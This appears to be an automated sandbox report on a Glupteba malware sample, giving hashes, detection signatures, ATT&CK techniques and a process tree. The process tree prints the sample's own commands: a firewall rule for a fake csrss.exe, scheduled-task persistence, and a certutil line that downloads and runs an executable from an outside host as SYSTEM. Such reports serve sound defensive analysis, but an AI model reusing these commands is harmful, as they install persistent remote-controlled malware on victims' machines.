Analysis
-
max time kernel
146s -
max time network
156s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
-
submitted
20-04-2024 23:26
General
-
Target
73ad8bbb5ddc4d7b0f37415509261b3ea0e82f88d8bd6fd74ac04c5d40b1823a.exe
-
Size
4.8MB
-
MD5
088a4a71b6c8af5e326c19be7a6b4899
-
SHA1
0c4b6b16cfb7b63365e46801491e3723688e2cab
-
SHA256
73ad8bbb5ddc4d7b0f37415509261b3ea0e82f88d8bd6fd74ac04c5d40b1823a
-
SHA512
6063c31d348dbc13fd80d3cafa53feed2ad333d40cabb3108c7610b37c75814ccb724ea517fd412532e17e49b766704fb07782429b9fc22049da6a93b4533724
-
SSDEEP
98304:I3t6CvHWBq+hTB6owxq+wJntth5Bw3LUPUGWxnvT:I3pflOljTnhLILUP2Zv
Malware Config
Signatures
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba payload 17 IoCs
-
Windows security bypass 2 TTPs 10 IoCs
-
Detects Windows executables referencing non-Windows User-Agents 15 IoCs
-
Detects executables containing URLs to raw contents of a Github gist 15 IoCs
-
Detects executables referencing many varying, potentially fake Windows User-Agents 15 IoCs
-
Modifies Windows Firewall 2 TTPs 1 IoCs
-
Executes dropped EXE 2 IoCs
-
Loads dropped DLL 8 IoCs
-
Windows security modification 2 TTPs 10 IoCs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
-
Drops file in Windows directory 3 IoCs
-
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies system certificate store 2 TTPs 7 IoCs
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 3 IoCs
-
Suspicious use of WriteProcessMemory 11 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\73ad8bbb5ddc4d7b0f37415509261b3ea0e82f88d8bd6fd74ac04c5d40b1823a.exe"C:\Users\Admin\AppData\Local\Temp\73ad8bbb5ddc4d7b0f37415509261b3ea0e82f88d8bd6fd74ac04c5d40b1823a.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\73ad8bbb5ddc4d7b0f37415509261b3ea0e82f88d8bd6fd74ac04c5d40b1823a.exe"C:\Users\Admin\AppData\Local\Temp\73ad8bbb5ddc4d7b0f37415509261b3ea0e82f88d8bd6fd74ac04c5d40b1823a.exe"2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
-
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
-
-
-
-
C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240420232657.log C:\Windows\Logs\CBS\CbsPersist_20240420232657.cab1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
68KB
MD529f65ba8e88c063813cc50a4ea544e93
SHA105a7040d5c127e68c25d81cc51271ffb8bef3568
SHA2561ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
-
Filesize
65KB
MD5ac05d27423a85adc1622c714f2cb6184
SHA1b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA5126d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
-
Filesize
177KB
MD5435a9ac180383f9fa094131b173a2f7b
SHA176944ea657a9db94f9a4bef38f88c46ed4166983
SHA25667dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA5121a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a
-
Filesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
Filesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
-
Filesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
-
Filesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
-
Filesize
4.8MB
MD5088a4a71b6c8af5e326c19be7a6b4899
SHA10c4b6b16cfb7b63365e46801491e3723688e2cab
SHA25673ad8bbb5ddc4d7b0f37415509261b3ea0e82f88d8bd6fd74ac04c5d40b1823a
SHA5126063c31d348dbc13fd80d3cafa53feed2ad333d40cabb3108c7610b37c75814ccb724ea517fd412532e17e49b766704fb07782429b9fc22049da6a93b4533724
-
Filesize
3.7MB
-
Filesize
71.3MB
-
Filesize
5.9MB
-
Filesize
5.9MB
-
Filesize
7.0MB
-
Filesize
3.7MB
-
Filesize
7.0MB
-
Filesize
71.3MB
-
Filesize
71.3MB
-
Filesize
3.7MB
-
Filesize
71.3MB
-
Filesize
71.3MB
-
Filesize
71.3MB
-
Filesize
71.3MB
-
Filesize
71.3MB
-
Filesize
71.3MB
-
Filesize
71.3MB
-
Filesize
71.3MB
-
Filesize
71.3MB
-
Filesize
71.3MB
-
Filesize
71.3MB
-
Filesize
71.3MB
-
Filesize
71.3MB